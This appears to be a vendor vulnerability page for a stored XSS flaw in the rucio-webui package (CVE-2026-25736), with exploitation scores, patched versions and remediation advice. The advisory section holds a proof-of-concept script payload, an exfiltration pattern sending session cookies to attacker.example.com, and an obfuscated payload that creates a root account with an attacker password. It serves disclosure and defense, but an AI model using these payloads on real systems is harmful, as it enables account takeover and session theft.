Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

GHSA-fq4f-4738-rqxm rucio-webui

MEDIUM

GHSA-fq4f-4738-rqxm is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in rucio-webui. A fix is available for rucio-webui — see the affected versions and patch details below.

Rucio WebUI has a Stored Cross-site Scripting (XSS) Vulnerability in its Custom RSE Attribute

Also known asCVE-2026-25736PYSEC-2026-3055
Published
Feb 25, 2026
Updated
Jul 13, 2026
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Sep 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-fq4f-4738-rqxm.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs22th percentile — riskier than 22% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-fq4f-4738-rqxm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

3 pkgs affected
🐍rucio-webui🐍rucio-webui🐍rucio-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.


Details

A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed.

Create Path:
Admin > RSE Management > RSE NAME > Add Attribute

Trigger Path:
Admin > RSE Management > RSE NAME

Request

POST /proxy/rses/WEB1/attr/XSS HTTP/1.1
...
{"value":"<script>alert('XSS')</script>"}

Response

HTTP/1.1 201 CREATED
...
Created

Storing XSS Payload in RSE Attribute <img width="1234" height="844" alt="Storing XSS Payload in RSE Attribute" src="https://github.com/user-attachments/assets/d10f58c2-8cea-43a9-bf7f-f94ef3d1fd81" />

XSS Payload triggering when viewing RSE <img width="1248" height="949" alt="XSS Payload triggering when viewing RSE" src="https://github.com/user-attachments/assets/d536fac2-ab44-4cfb-b669-085a8c3db33e" />

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

  • Session cookies that are accessible to JavaScript (missing HttpOnly flag).
  • API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'[email protected]','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

  • Enforcing a strict Content Security Policy (CSP).
  • Setting the HttpOnly flag on session cookies.
  • Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)


Resources

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIrucio-webuiall versions35.8.3pip install --upgrade 'rucio-webui==35.8.3'
🐍PyPIrucio-webui36.0.0rc1&&< 38.5.438.5.4pip install --upgrade 'rucio-webui==38.5.4'
🐍PyPIrucio-webui39.0.0rc1&&< 39.3.139.3.1pip install --upgrade 'rucio-webui==39.3.1'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for rucio-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update rucio-webui to 35.8.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fq4f-4738-rqxm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-fq4f-4738-rqxm can be triaged on real exposure rather than presence alone.

Tailored to GHSA-fq4f-4738-rqxm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom RSE Attribute of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions. --- ### Details A stored XSS payload can be introduced via a custom RSE attribute value and is later rendered when the RSE is viewed. **Create Path**: Admin > RSE Management > _RSE N
O3 Security · Impact-Aware SCA

Is GHSA-fq4f-4738-rqxm in your dependencies?

O3 Security finds GHSA-fq4f-4738-rqxm across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-fq4f-4738-rqxm: XSS (Medium 6.1) | O3 Security